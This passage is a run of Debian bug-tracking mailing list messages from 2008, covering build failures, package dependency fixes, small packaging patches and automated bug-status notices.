I'm a bit reluctant to use this approach as the official buildd's are coping well. Happy for some comments though... Mark signature.asc Description: This is a digitally signed message part.
Processed: Re: Bug#476050: spandsp: FTBFS: compilation error: file ../wrapper.xsl line 3 element import
Processing commands for [EMAIL PROTECTED]: severity 476050 important Bug#476050: spandsp: FTBFS: compilation error: file ../wrapper.xsl line 3 element import Severity set to `important' from `serious' thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#476597: still broken
found 476597 1:2.4.0-5 tag 476597 + lenny thanks Hi, python2.5 (and OOo 2.4.0-5) was again forced it regardless of gcc-defaults so the 2.4.0-5 which entered testing is still broken (in testing, works fine on sid as the new gcc-defaults is there...) Marking... -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: still broken
Processing commands for [EMAIL PROTECTED]: found 476597 1:2.4.0-5 Bug#476597: openoffice.org-gcj: dependency problem with libgcj-bc in lenny Bug marked as found in version 1:2.4.0-5 and reopened. tag 476597 + lenny Bug#476597: openoffice.org-gcj: dependency problem with libgcj-bc in lenny There were no tags set. Tags added: lenny thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478684: [pwman3] Does not work with python 2.5
Package: pwman3 Version: 0.0.6-1 Severity: grave Tags: patch --- Please enter the report below this line. --- After upgrading python to 2.5 pwman3 refuses to start, with the following error: $ pwman3 Traceback (most recent call last): File /usr/bin/pwman3, line 22, in module from pwman.ui.cli import PwmanCli File /var/lib/python-support/python2.5/pwman/ui/cli.py, line 21, in module import pwman.exchange.importer as importer File /var/lib/python-support/python2.5/pwman/exchange/importer.py, line 20, in module import cElementTree as ET ImportError: No module named cElementTree I found two solutions: 1. Use explicitely python2.4 2. Replace all occurences of cElementTree with xml.etree.cElementTree and drop the dependency on python-celementtree (see attached patch) --- System information. --- Architecture: i386 Kernel: Linux 2.6.24-1-686 Debian Release: lenny/sid 500 unstableftp.fr.debian.org 450 experimentalftp.fr.debian.org --- Package information. --- Depends (Version) | Installed ==-+-=== python(= 2.3) | 2.5.2-1 python-support(= 0.2) | 0.7.7 python-pysqlite2 | 2.4.1-1 python-celementtree| 1.0.5-10 python-crypto | 2.0.1+dfsg1-2.1 diff -ru pwman3-0.0.6/debian/control pwman3-0.0.6.new/debian/control --- pwman3-0.0.6/debian/control 2008-04-30 12:50:52.0 +0200 +++ pwman3-0.0.6.new/debian/control 2008-04-30 13:08:08.0 +0200 @@ -7,7 +7,7 @@ Package: pwman3 Architecture: all -Depends: ${python:Depends}, python-pysqlite2, python-celementtree, python-crypto +Depends: ${python:Depends}, python-pysqlite2, python-crypto Description: console password managment application Pwman3 aims to provide a simple but powerful command line interface for password managment. It allows to store your password in a sqlite database diff -ru pwman3-0.0.6/pwman/exchange/exporter.py pwman3-0.0.6.new/pwman/exchange/exporter.py --- pwman3-0.0.6/pwman/exchange/exporter.py 2007-02-04 19:44:43.0 +0100 +++ pwman3-0.0.6.new/pwman/exchange/exporter.py 2008-04-30 13:04:17.0 +0200 @@ -17,7 +17,7 @@ # Copyright (C) 2006 Ivan Kelly [EMAIL PROTECTED] # -from cElementTree import Element, SubElement, dump, ElementTree +from xml.etree.cElementTree import Element, SubElement, dump, ElementTree from pwman.data.nodes import Node from pwman.data.tags import Tag diff -ru pwman3-0.0.6/pwman/exchange/importer.py pwman3-0.0.6.new/pwman/exchange/importer.py --- pwman3-0.0.6/pwman/exchange/importer.py 2007-02-04 19:44:43.0 +0100 +++ pwman3-0.0.6.new/pwman/exchange/importer.py 2008-04-30 13:04:04.0 +0200 @@ -17,7 +17,7 @@ # Copyright (C) 2006 Ivan Kelly [EMAIL PROTECTED] # -import cElementTree as ET +import xml.etree.cElementTree as ET from pwman.data.nodes import Node from pwman.data.tags import Tag
Bug#470882: /dev/gpmctl freezes acknowledge
Hello! Vaclav Ovsik [Wed, Apr 30, 2008 at 08:36:42AM +0200]: Hi, I have this problem on my box and another two boxes at home too. Gpm enabled applications freezes on communication with gpm. When I switch to the console to see if mouse is functional under gpm right now (aptitude hangs in rxvt) - mouse moves ok in text console. Applications (aptitude, module-assistant,...) revive after gpm restart. This problem appears several times a day for me. Can you do strace -Ff program 2 log before starting the program that hangs? And can you run gpm -D options gpm.log 21 on another console before? And then send both files to me? Nico -- Think about Free and Open Source Software (FOSS). http://nico.schottelius.org/documentations/foss/the-term-foss/ PGP: BFE4 C736 ABE5 406F 8F42 F7CF B8BE F92A 9885 188C signature.asc Description: Digital signature
Bug#400066: closed by Jose Luis Tallon [EMAIL PROTECTED] (Bug#400066: fixed in lcdproc 0.5.2-1)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.8 Date: Sun, 09 Mar 2008 00:25:50 +0100 Source: lcdproc Binary: lcdproc Architecture: source amd64 Version: 0.5.2-1 Distribution: unstable Urgency: medium Maintainer: Jose Luis Tallon [EMAIL PROTECTED] Changed-By: Jose Luis Tallon [EMAIL PROTECTED] Description: lcdproc- LCD display driver daemon and clients Closes: 400066 Changes: lcdproc (0.5.2-1) unstable; urgency=medium . * New upstream version . * Compilation issues - restrict building to just i386, amd64 (Closes: #400066) I don't think this fix is correct. You already did it before, and the bug was reopen. (just read the back log of the bug) A patch was also proposed and should be part of this new upstream release to at least support PPC (and probably all the other architectures without parallel port). As you insist, and as I'm not a user on non i386 architectures, I won't play ping pong with you. You should also contact the ftp-masters to request the removal of the binaries on the architectures that are no more supported. -- Nekral -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#461853: FTBFS: make[1]: p: Command not found
This is part of the same problem as #450750. The important part of the build log is: RULES/rules1.top:234: incs/Dcc.s390x-linux: No such file or directory RULES/rules.top:39: RULES/s390x-linux-cc.rul: No such file or directory RULES/rules.cnf:56: incs/s390x-linux-cc/Inull: No such file or directory RULES/rules.cnf:57: incs/s390x-linux-cc/rules.cnf: No such file or directory It is caused by there not being any s390x arch files in RULES/ It is of course unreproducible unless you are trying to build the package on one of the archs which is missing from the scripts. -- Colin Tuckley | +44(0)1903 236872 | PGP/GnuPG Key Id Debian Developer | +44(0)7799 143369 | 0x1B3045CE Apple (c) Copyright 1767, Sir Isaac Newton. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478697: svn-buildpackage: Tags incorrect version (HEAD instead of the checked one)
Package: svn-buildpackage Version: 0.6.23 Severity: grave Hi, While tagging svn-buildpackage checks if there are no local modifications, and than does sth like the following: `svn cp $REPO_URL/$PKG/trunk $REPO_URL/$PKG/tags/$VERSION' This is wrong because it always tags the HEAD version which might not match the locally checked-out version (somebody could commit to repository between `svn checkout/commit/update' and `svn-buildpackage --svn-tag'). I think `svn cp . $REPO_URL/$PKG/tags/$VERSION' should be used instead. Severity grave as this causes data loss (where data == information of which source files were uploaded). Regards, robert -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (990, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.24 Locale: LANG=pl_PL, LC_CTYPE=pl_PL (charmap=ISO-8859-2) Shell: /bin/sh linked to /bin/bash Versions of packages svn-buildpackage depends on: ii devscripts 2.10.26 scripts to make the life of a Debi ii file 4.23-2Determines file type using magic ii libsvn-perl1.4.6dfsg1-3 Perl bindings for Subversion ii liburi-perl1.35.dfsg.1-1 Manipulates and accesses URI strin ii perl 5.8.8-12 Larry Wall's Practical Extraction ii subversion 1.4.6dfsg1-3 Advanced version control system ii unp1.0.14unpack (almost) everything with on ii wget 1.11.1-1 retrieves files from the web svn-buildpackage recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#470234: xcruise: should this package be removed?
On Sun, Mar 09, 2008 at 11:59:30PM -0400, Barry deFreese wrote: While reviewing some packages, your package came up as a possible candidate for removal from Debian, because: * Package is buggy (Serious bug for 4 years, even if unreproducible by some). + I am able to reproduce it. * Package is orphaned. (Orphaned Jan 2007) * Upstream has been dead since 2003. Given that nobody objected and that the WNPP bug has no activity ever, I guess we should go ahead and remove that. I've filed a bug against junior-system that it should drop the dependency. Gruesse, -- Frank Lichtenheld [EMAIL PROTECTED] www: http://www.djpig.de/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#443420: marked as done (file conflicts between packages)
Your message dated Wed, 30 Apr 2008 11:47:04 + with message-id [EMAIL PROTECTED] and subject line Bug#443420: fixed in net-snmp 5.4.1~dfsg-7 has caused the Debian Bug report #443420, regarding file conflicts between packages to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 443420: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=443420 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: libsnmp-base, libsnmp-dev Severity: serious Justification: policy violation. hi, seems like libsnmp-base and libsnmp-dev are conflicting..: Preparing to replace libsnmp-base 5.3.1-8 (using .../libsnmp-base_5.4.1~dfsg-2_all.deb) ... Unpacking replacement libsnmp-base ... dpkg: error processing /var/cache/apt/archives/libsnmp-base_5.4.1~dfsg-2_all.deb (--unpack): trying to overwrite `/usr/share/man/man1/net-snmp-config.1.gz', which is also in package libsnmp-dev Errors were encountered while processing: /var/cache/apt/archives/libsnmp-base_5.4.1~dfsg-2_all.deb E: Sub-process /usr/bin/dpkg returned an error code (1) bye, - michael ---End Message--- ---BeginMessage--- Source: net-snmp Source-Version: 5.4.1~dfsg-7 We believe that the bug you reported is fixed in the latest version of net-snmp, which is due to be installed in the Debian FTP archive: libsnmp-base_5.4.1~dfsg-7_all.deb to pool/main/n/net-snmp/libsnmp-base_5.4.1~dfsg-7_all.deb libsnmp-dev_5.4.1~dfsg-7_sparc.deb to pool/main/n/net-snmp/libsnmp-dev_5.4.1~dfsg-7_sparc.deb libsnmp-perl_5.4.1~dfsg-7_sparc.deb to pool/main/n/net-snmp/libsnmp-perl_5.4.1~dfsg-7_sparc.deb libsnmp-python_5.4.1~dfsg-7_sparc.deb to pool/main/n/net-snmp/libsnmp-python_5.4.1~dfsg-7_sparc.deb libsnmp15_5.4.1~dfsg-7_sparc.deb to pool/main/n/net-snmp/libsnmp15_5.4.1~dfsg-7_sparc.deb net-snmp_5.4.1~dfsg-7.diff.gz to pool/main/n/net-snmp/net-snmp_5.4.1~dfsg-7.diff.gz net-snmp_5.4.1~dfsg-7.dsc to pool/main/n/net-snmp/net-snmp_5.4.1~dfsg-7.dsc snmp_5.4.1~dfsg-7_sparc.deb to pool/main/n/net-snmp/snmp_5.4.1~dfsg-7_sparc.deb snmpd_5.4.1~dfsg-7_sparc.deb to pool/main/n/net-snmp/snmpd_5.4.1~dfsg-7_sparc.deb tkmib_5.4.1~dfsg-7_all.deb to pool/main/n/net-snmp/tkmib_5.4.1~dfsg-7_all.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Jochen Friedrich [EMAIL PROTECTED] (supplier of updated net-snmp package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.8 Date: Tue, 29 Apr 2008 18:37:23 +0200 Source: net-snmp Binary: snmpd snmp libsnmp-base libsnmp15 libsnmp-dev libsnmp-perl libsnmp-python tkmib Architecture: source all sparc Version: 5.4.1~dfsg-7 Distribution: unstable Urgency: low Maintainer: Net-SNMP Packaging Team [EMAIL PROTECTED] Changed-By: Jochen Friedrich [EMAIL PROTECTED] Description: libsnmp-base - SNMP (Simple Network Management Protocol) MIBs and documentation libsnmp-dev - SNMP (Simple Network Management Protocol) development files libsnmp-perl - SNMP (Simple Network Management Protocol) Perl5 support libsnmp-python - SNMP (Simple Network Management Protocol) Python support libsnmp15 - SNMP (Simple Network Management Protocol) library snmp - SNMP (Simple Network Management Protocol) applications snmpd - SNMP (Simple Network Management Protocol) agents tkmib - SNMP (Simple Network Management Protocol) MIB browser Closes: 261686 443396 443420 451294 468260 Changes: net-snmp (5.4.1~dfsg-7) unstable; urgency=low . * Add some more Conflicts: and Replaces: magic to allow moving net-snmp-config to libsnmp-base. (Really Closes: #443420, #443396, #261686) * Update debhelper to version 6 * Add patch for support of long interface names (Closes: #468260) Thanks to Jonathan Steinert [EMAIL PROTECTED] for the patch. * Add upstream patch to avoid a crash on pppoe tunnels (Closes: #451294) * Convert copyright to UTF-8. * Fix spelling error in NEWS: deamon - daemon. Checksums-Sha1: f67a015a3f548487518234617dbc89b844650b92 1779 net-snmp_5.4.1~dfsg-7.dsc 6468e10007abfbdc152c5f8d681f0e7e3a52f384 77688 net-snmp_5.4.1~dfsg-7.diff.gz 1f1a2171693d94d0a41a56860491d8b270e4fe29 1368172 libsnmp-base_5.4.1~dfsg-7_all.deb
Bug#478496: marked as done (python-numpy: broken symlinks for header files)
Your message dated Wed, 30 Apr 2008 12:17:03 + with message-id [EMAIL PROTECTED] and subject line Bug#478496: fixed in python-numpy 1:1.0.4-8 has caused the Debian Bug report #478496, regarding python-numpy: broken symlinks for header files to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 478496: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=478496 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: python-numpy Version: 1:1.0.4-7 Severity: serious Since python-central has changed the directories the files are installed to, the headers are not available anymore because of the resulting broken symbolinc links: lrwxrwxrwx 1 root root 73 avr 29 13:11 /usr/include/python2.5/numpy - ../../share/pycentral/python-numpy/site-packages/numpy/core/include/numpy lrwxrwxrwx 1 root root 73 avr 29 13:11 /usr/include/python2.4/numpy - ../../share/pycentral/python-numpy/site-packages/numpy/core/include/numpy Cheers, -- .''`. : :' : We are debian.org. Lower your prices, surrender your code. `. `' We will add your hardware and software distinctiveness to `-our own. Resistance is futile. signature.asc Description: Ceci est une partie de message numériquement signée ---End Message--- ---BeginMessage--- Source: python-numpy Source-Version: 1:1.0.4-8 We believe that the bug you reported is fixed in the latest version of python-numpy, which is due to be installed in the Debian FTP archive: python-numpy-dbg_1.0.4-8_i386.deb to pool/main/p/python-numpy/python-numpy-dbg_1.0.4-8_i386.deb python-numpy-doc_1.0.4-8_all.deb to pool/main/p/python-numpy/python-numpy-doc_1.0.4-8_all.deb python-numpy-ext_1.0.4-8_all.deb to pool/main/p/python-numpy/python-numpy-ext_1.0.4-8_all.deb python-numpy_1.0.4-8.diff.gz to pool/main/p/python-numpy/python-numpy_1.0.4-8.diff.gz python-numpy_1.0.4-8.dsc to pool/main/p/python-numpy/python-numpy_1.0.4-8.dsc python-numpy_1.0.4-8_i386.deb to pool/main/p/python-numpy/python-numpy_1.0.4-8_i386.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Ondrej Certik [EMAIL PROTECTED] (supplier of updated python-numpy package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.8 Date: Wed, 30 Apr 2008 13:52:37 +0200 Source: python-numpy Binary: python-numpy python-numpy-dbg python-numpy-ext python-numpy-doc Architecture: source all i386 Version: 1:1.0.4-8 Distribution: unstable Urgency: medium Maintainer: Debian Python Modules Team [EMAIL PROTECTED] Changed-By: Ondrej Certik [EMAIL PROTECTED] Description: python-numpy - Numerical Python adds a fast array facility to the Python languag python-numpy-dbg - Fast array facility to the Python language (debug extension) python-numpy-doc - NumPy documentation python-numpy-ext - NumPy adds a fast array facility to the Python language Closes: 470293 477243 478496 Changes: python-numpy (1:1.0.4-8) unstable; urgency=medium . [ Kumar Appaiah ] * debian/rules: + Add the --single-version-externally-managed flag. * debian/patches/03_histogram_fix.diff: + Patch from Manuel Metz to fix numpy.histogram. (Closes: #470293) * debian/python-numpy.install: + Install the egg-info file. (Closes: #477243) * debian/control: + Update Kumar Appaiah's e-mail address to the debian.org address. . [ Chris AtLee ] * debian/control + Update description to clarify relationship between numpy and python-(numarray|numeric). . [ Kumar Appaiah ] * debian/rules: Fix symlinks for include file location change due to pycentral modification. (Closes: #478496) Checksums-Sha1: 06dce8a39db8066048c9cfcc8b18671b6b664613 1733 python-numpy_1.0.4-8.dsc a2fe2b721bed9d529f2f2d0ba01b8b5f463ee9ce 8800 python-numpy_1.0.4-8.diff.gz c57d8911dbeebaa87f3c4d34ae1736c1c62509ae 5928 python-numpy-ext_1.0.4-8_all.deb 26ac825e8c99b16670ccae73c41584efff720dee 90006 python-numpy-doc_1.0.4-8_all.deb 7bc9de663d395133c0cec3135d2e8d25abbc8e7f 1477728 python-numpy_1.0.4-8_i386.deb 5032b705af5a4e98bdb7aa4ff3307b2b0bf18a3f 3624168 python-numpy-dbg_1.0.4-8_i386.deb Checksums-Sha256:
Bug#477845: babel: adjust build-dependency (gcj not built on alpha, arm, hppa and hurd-i386)
On Fri, 2008-04-25 at 18:36 +0200, Matthias Klose wrote: As a second step please consider changing the java-gcj-compat-dev b-d to default-jdk-builddep, making the package independent of a specific implementation and depend on the jdk, which is most suitable for this architecture. default-jdk-builddep will depend in addition on java-gcj-compat-dev, even if the default jdk is another one (to allow to compile byte-code to native code using dh_nativejava). I just tried this, and it built fine on AMD64, but went FTBFS on at hppa where it succeeded before, because default-jdk-builddep is missing. If this is the new package to use to build across architectures, why did java-gcj-compat-dev succeed before, but this failed now? For now at least, this is creating more FTBFS than it is solving... [Also S390 has a new assertion failure in its java implementation.] Please advise, and feel free to reopen this bug if I've done something wrong. -Adam -- GPG fingerprint: D54D 1AEE B11C CE9B A02B C5DD 526F 01E8 564E E4B6 Engineering consulting with open source tools http://www.opennovation.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#477004: Updated patch, uses python-support
Hi! Thanks to Piotr Ozarowski's help, I managed to create a patch which uses python-support for the byte-compilation. This involves: * Update Build-Depends, rules, magicor.install to put Magicor.py and Magicor-LevelEditor.py in /usr/share/games/magicor * Modifying Makefile.debian to install all Python modules in /usr/share/games/magicor/magicor * Create symlinks for magicor and magicor-edito in /usr/games, instead of copying Magicor.py and Magicor-LevelEditor.py directly. HTH. Please do consider updating the package and fixing the RC bug at the earliest. Kumar -- Kumar Appaiah, 458, Jamuna Hostel, Indian Institute of Technology Madras, Chennai - 600 036 diff -Nru --exclude changelog magicor-1.0/debian/control magicor-1.0/debian/control --- magicor-1.0/debian/control 2008-04-30 18:43:16.0 +0530 +++ magicor-1.0/debian/control 2008-04-30 18:43:17.0 +0530 @@ -3,12 +3,13 @@ Priority: optional Maintainer: Xavier Oswald [EMAIL PROTECTED] Uploaders: Frederic Wagner [EMAIL PROTECTED] -Build-Depends: debhelper (= 5), cdbs, python (= 2.4-1) +Build-Depends: debhelper (= 5), cdbs, python-all-dev (= 2.3.5-11) +Build-Depends-Indep: python-support (= 0.5.3) Standards-Version: 3.7.2 Package: magicor Architecture: all -Depends: ${shlibs:Depends}, ${misc:Depends}, python( = 2.4-1), +Depends: ${shlibs:Depends}, ${misc:Depends}, ${python:Depends} python-pygame, magicor-data, libsdl-image1.2, libsdl-mixer1.2, python-gtk2, libglade2-0 Description: puzzle game in the spirit of solomon's key @@ -20,7 +21,7 @@ Package: magicor-data Architecture: all -Depends: ${shlibs:Depends}, ${misc:Depends}, python ( = 2.4-1) +Depends: ${shlibs:Depends}, ${misc:Depends}, ${python:Depends} Description: data files for the magicor puzzle game Magicor is a small puzzle game similar to the old NES classic solomon's key. You control tux the penguin and create ice blocks diff -Nru --exclude changelog /tmp/LShrKS1m0z/magicor-1.0/debian/magicor.dirs /tmp/lXeRSlAOCd/magicor-1.0/debian/magicor.dirs --- magicor-1.0/debian/magicor.dirs 2008-04-30 18:43:16.0 +0530 +++ magicor-1.0/debian/magicor.dirs 2008-04-30 18:43:17.0 +0530 @@ -1,3 +1,3 @@ usr/games -usr/lib/python2.4/site-packages/magicor etc +usr/share/games/magicor/magicor diff -Nru --exclude changelog /tmp/LShrKS1m0z/magicor-1.0/debian/magicor.install /tmp/lXeRSlAOCd/magicor-1.0/debian/magicor.install --- magicor-1.0/debian/magicor.install 2008-04-30 18:43:16.0 +0530 +++ magicor-1.0/debian/magicor.install 2008-04-30 18:43:17.0 +0530 @@ -1,8 +1,8 @@ -debian/tmp/usr/games/magicor -debian/tmp/usr/games/magicor-editor debian/tmp/etc/magicor.conf debian/tmp/etc/magicor-editor.conf -debian/tmp/usr/lib/python2.4/site-packages/magicor/*.py -debian/tmp/usr/lib/python2.4/site-packages/magicor/editor/*.py -debian/tmp/usr/lib/python2.4/site-packages/magicor/sprites/*.py -debian/tmp/usr/lib/python2.4/site-packages/magicor/states/*.py +debian/tmp/usr/share/games/magicor/magicor/*.py +debian/tmp/usr/share/games/magicor/magicor/editor/*.py +debian/tmp/usr/share/games/magicor/magicor/sprites/*.py +debian/tmp/usr/share/games/magicor/magicor/states/*.py +debian/tmp/usr/share/games/magicor/Magicor.py +debian/tmp/usr/share/games/magicor/Magicor-LevelEditor.py diff -Nru --exclude changelog /tmp/LShrKS1m0z/magicor-1.0/debian/magicor.links /tmp/lXeRSlAOCd/magicor-1.0/debian/magicor.links --- magicor-1.0/debian/magicor.links 1970-01-01 05:30:00.0 +0530 +++ magicor-1.0/debian/magicor.links 2008-04-30 18:43:17.0 +0530 @@ -0,0 +1,2 @@ +usr/share/games/magicor/Magicor.py usr/games/magicor +usr/share/games/magicor/Magicor-LevelEditor.py usr/games/magicor-editor diff -Nru --exclude changelog /tmp/LShrKS1m0z/magicor-1.0/debian/rules /tmp/lXeRSlAOCd/magicor-1.0/debian/rules --- magicor-1.0/debian/rules 2008-04-30 18:43:16.0 +0530 +++ magicor-1.0/debian/rules 2008-04-30 18:43:17.0 +0530 @@ -9,3 +9,16 @@ DEB_MAKE_BUILD_TARGET = all DEB_MAKE_INSTALL_TARGET = install DESTDIR=$(CURDIR)/debian/tmp/ DEB_MAKE_MAKEFILE = Makefile.debian + +binary-install/magicor:: + dh_pysupport -pmagicor /usr/share/games/magicor/magicor + +# install/magicor:: +# dh_install debian/tmp/usr/lib/`pyversions -d`/site-packages/magicor/*.py usr/share/magicor +# dh_install debian/tmp/usr/lib/`pyversions -d`/site-packages/magicor/editor/*.py usr/share/magicor/editor +# dh_install debian/tmp/usr/lib/`pyversions -d`/site-packages/magicor/sprites/*.py usr/share/magicor/sprites +# dh_install debian/tmp/usr/lib/`pyversions -d`/site-packages/magicor/states/*.py usr/share/magicor/states +# dh_install debian/tmp/usr/lib/`pyversions -d`/site-packages/magicor/*.py usr/lib/`pyversions -d`/site-packages/magicor +# dh_install debian/tmp/usr/lib/`pyversions -d`/site-packages/magicor/editor/*.py usr/lib/`pyversions -d`/site-packages/magicor/editor +# dh_install debian/tmp/usr/lib/`pyversions -d`/site-packages/magicor/sprites/*.py usr/lib/`pyversions
Bug#471224: Problem is arch dependent
This is part of the same problem as #450750. The important part of the build log is: RULES/rules1.top:234: incs/Dcc.s390x-linux: No such file or directory RULES/rules.top:39: RULES/s390x-linux-cc.rul: No such file or directory RULES/rules.cnf:56: incs/s390x-linux-cc/Inull: No such file or directory RULES/rules.cnf:57: incs/s390x-linux-cc/rules.cnf: No such file or directory Makefile:18: warning: overriding commands for target `install' RULES/rules1.dir:27: warning: ignoring old commands for target `install' p incs/s390x-linux-cc It is caused by there not being any s390x arch files in RULES/ It is of course unreproducible unless you are trying to build the package on one of the archs which is missing from the scripts. -- Colin Tuckley | +44(0)1903 236872 | PGP/GnuPG Key Id Debian Developer | +44(0)7799 143369 | 0x1B3045CE Apple (c) Copyright 1767, Sir Isaac Newton. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478708: val-and-rick_0.1a.dfsg1-2(sparc/unstable): FTBFS: there is no gdc on sparc, see #461101
Package: val-and-rick Version: 0.1a.dfsg1-2 Severity: serious There was an error while trying to autobuild your package: Automatic build of val-and-rick_0.1a.dfsg1-2 on spontini by sbuild/sparc 99.99 Build started at 20080430-0428 [...] ** Using build dependencies supplied by package: Build-Depends: debhelper (= 5), gdc, libbulletml-dev, libgl1-mesa-dev | libgl-dev, libglu1-mesa-dev | libglu-dev, libsdl-mixer1.2-dev, libsdl1.2-dev, quilt [...] A full build log can be found at: http://buildd.debian.org/build.php?arch=sparcpkg=val-and-rickver=0.1a.dfsg1-2 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478711: tumiki-fighters_0.2.dfsg1-2(sparc/unstable): FTBFS: there is no gdc on sparc
Package: tumiki-fighters Version: 0.2.dfsg1-2 Severity: serious There was an error while trying to autobuild your package: Automatic build of tumiki-fighters_0.2.dfsg1-2 on spontini by sbuild/sparc 99.99 Build started at 20080430-0428 [...] ** Using build dependencies supplied by package: Build-Depends: debhelper (= 5), gdc, libbulletml-dev, libgl1-mesa-dev | libgl-dev, libglu1-mesa-dev | libglu-dev, libsdl-mixer1.2-dev, libsdl1.2-dev, quilt [...] A full build log can be found at: http://buildd.debian.org/build.php?arch=sparcpkg=tumiki-fightersver=0.2.dfsg1-2 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#442125: Further information
I've come across the same problem (amd64 / lenny / nvidia) and for completeness' sake tried it in my i386 chroot, and it appears to work (I've only done it remotely, displaying on the screen attached to the remote machine, so I can't tell you if it displayed as expected! If somebody could make xmove play well with ssh, I'd be chuffed as punch!) so that would lend weight to the theory it's a 32/64-bit problem. HTH Cheers God bless Sam SammyTheSnake Penny __ Sent from Yahoo! Mail. A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: Re: Bug#469015: Merge/close this report?
Processing commands for [EMAIL PROTECTED]: reassign 469015 linux-2.6 Bug#469015: sbcl hangs during compilation of lisp programs Bug reassigned from package `sbcl' to `linux-2.6'. reassign 471147 linux-2.6 Bug#471147: sbcl: SBCL does not install cleanly, Bug reassigned from package `sbcl' to `linux-2.6'. reassign 471598 linux-2.6 Bug#471598: SBCL can't find CLC package Bug reassigned from package `sbcl' to `linux-2.6'. forcemerge 469058 469015 471147 471598 Bug#469058: Linux doesn't follow x86/x86-64 ABI wrt direction flag Bug#469015: sbcl hangs during compilation of lisp programs Bug#471147: sbcl: SBCL does not install cleanly, Bug#471598: SBCL can't find CLC package Forcibly Merged 469015 469058 471147 471598. thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: notfound 476603 in 1.0.5-7
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 notfound 476603 1.0.5-7 Bug#476603: acon: multiple buffer overflows Bug#475733: acon: local root exploit Bug no longer marked as found in version 1.0.5-7. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: notfound 475733 in 1.0.5-7
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 notfound 475733 1.0.5-7 Bug#475733: acon: local root exploit Bug#476603: acon: multiple buffer overflows Bug no longer marked as found in version 1.0.5-7. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478715: cxxtools_1.4.7-1(sparc/unstable): FTBFS on sparc
